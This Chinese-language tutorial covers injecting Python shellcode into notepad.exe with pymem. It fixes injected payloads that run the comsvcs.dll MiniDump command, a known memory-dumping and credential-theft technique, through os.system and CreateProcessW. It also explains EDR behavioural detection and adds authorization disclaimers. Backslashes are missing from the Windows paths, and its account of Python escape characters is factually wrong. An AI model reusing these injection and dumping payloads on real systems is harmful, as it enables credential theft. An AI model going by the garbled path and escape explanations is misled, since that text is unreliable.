
本文深入解析 python 中基于 pymem 的进程注入实践,说明 shellcode 执行失败的根本原因(路径转义、权限隔离、edr 检测逻辑),强调合法红队研究前提,并提供符合安全规范的调试验证方法。
本文深入解析 python 中基于 pymem 的进程注入实践,说明 shellcode 执行失败的根本原因(路径转义、权限隔离、edr 检测逻辑),强调合法红队研究前提,并提供符合安全规范的调试验证方法。
在红队评估与安全研究中,pymem 是一个常用于 Windows 进程内存操作的 Python 库,支持注入 Python 解释器、执行 shellcode 或远程线程。但需明确:任何绕过终端防护(如 EDR)的行为,若未经明确授权,均违反《网络安全法》及 ISO/IEC 27001 等合规要求。本文仅面向已获书面授权的渗透测试人员,聚焦技术原理澄清与安全调试方法。
为什么你的 rundll32 命令未执行?
你观察到文件写入成功但 rundll32.exe ... comsvcs.dll, MiniDump 无响应,根本原因有三:
-
字符串路径转义错误
Python 字符串中是转义符。"C:windowsSystem32comsvcs.dll"实际被解析为C:indowsSystem32omsvcs.dll(w→ ASCII 0x08,S→ ASCII 0x13)。正确写法必须使用原始字符串或双反斜杠:# ✅ 正确(推荐原始字符串) shellcode = r""" import os f = open(r"C:TestRuleprocess_injection.txt", "w+") f.write("pymem_injection") f.close() os.system(r'rundll32.exe C:windowsSystem32comsvcs.dll, MiniDump 988 C:dump.dmp full') """ -
注入上下文缺乏
os模块与系统环境pm.inject_python_shellcode()在目标进程(notepad.exe)中启动的是一个极简 Python 子解释器,不自动继承宿主进程的sys.path、os.environ或标准库加载状态。os.system()依赖os模块,而该模块在注入环境中可能未完整初始化。更可靠的方式是调用 Windows API:# ✅ 使用 ctypes 调用 CreateProcessW(无需 os.system) shellcode = r""" import ctypes from ctypes import wintypes kernel32 = ctypes.WinDLL('kernel32', use_last_error=True) cmd = r'rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 988 C:\dump.dmp full' ret = kernel32.CreateProcessW(None, cmd, None, None, False, 0, None, None, None, None) if not ret: print(f"CreateProcess failed: {ctypes.get_last_error()}") """ EDR 的“静默拦截”机制
现代 EDR(如 CrowdStrike、Microsoft Defender for Endpoint)对comsvcs.dll, MiniDump的检测早已从“进程创建”升级为行为链识别:监测rundll32.exe加载comsvcs.dll→ 调用MiniDump→ 写入.dmp文件这一完整序列。即使命令在注入后执行,EDR 可能直接终止线程或丢弃调用(不弹窗、不报日志),造成“无响应”假象——这正是你未见拦截通知的原因。
合规调试建议:验证注入有效性,而非规避检测
为确认注入通道是否可用,请改用低风险、可审计、无恶意语义的操作验证:
立即学习“Python免费学习笔记(深入)”;
# ✅ 安全验证示例:仅读取进程信息(无文件/网络/代码执行)
shellcode = r"""
import ctypes
from ctypes import wintypes
# 获取当前进程ID(notepad.exe)
GetCurrentProcessId = ctypes.windll.kernel32.GetCurrentProcessId
pid = GetCurrentProcessId()
print(f"[INFO] Injected into PID: {pid}")
# 尝试分配内存并写入签名(验证RWX权限)
kernel32 = ctypes.windll.kernel32
addr = kernel32.VirtualAlloc(0, 4096, 0x3000, 0x40) # MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE
if addr:
ctypes.memmove(addr, b"PYMEM_INJECTED ", 15)
print(f"[OK] Wrote signature to {hex(addr)}")
else:
print(f"[ERROR] VirtualAlloc failed: {ctypes.get_last_error()}")
"""运行后检查输出日志,若显示 PID 和内存地址,则证明注入通道正常;此时任何高危操作(如 dump、提权、横向移动)都应严格遵循授权范围与最小权限原则。
关键注意事项总结
- ⚠️ 权限要求:
pymem需管理员权限才能打开notepad.exe句柄(否则Pymem('notepad.exe')报错Access is denied)。 - ⚠️ 架构匹配:32 位 Python 无法注入 64 位进程(反之亦然),务必确认
notepad.exe架构(任务管理器 → 详细信息 → 平台列)。 - ⚠️ EDR 规避不可行:
comsvcs.dll+MiniDump是公开的已知攻击模式,所有主流 EDR 均内置 YARA 规则与行为图谱识别,不存在“修改参数即可绕过”的通用技巧。真正的防御规避需结合白名单进程、合法API调用链、内存无文件技术等多层设计,且必须在授权范围内由专业团队实施。 - ✅ 替代方案推荐:对于合法内存取证需求,优先使用 Microsoft Sysinternals 的
procdump.exe(经微软签名,EDR 通常放行):procdump -ma notepad.exe dump.dmp
请始终将技术能力置于法律框架与职业道德之下。安全研究的价值,在于暴露风险、推动加固,而非突破边界。


















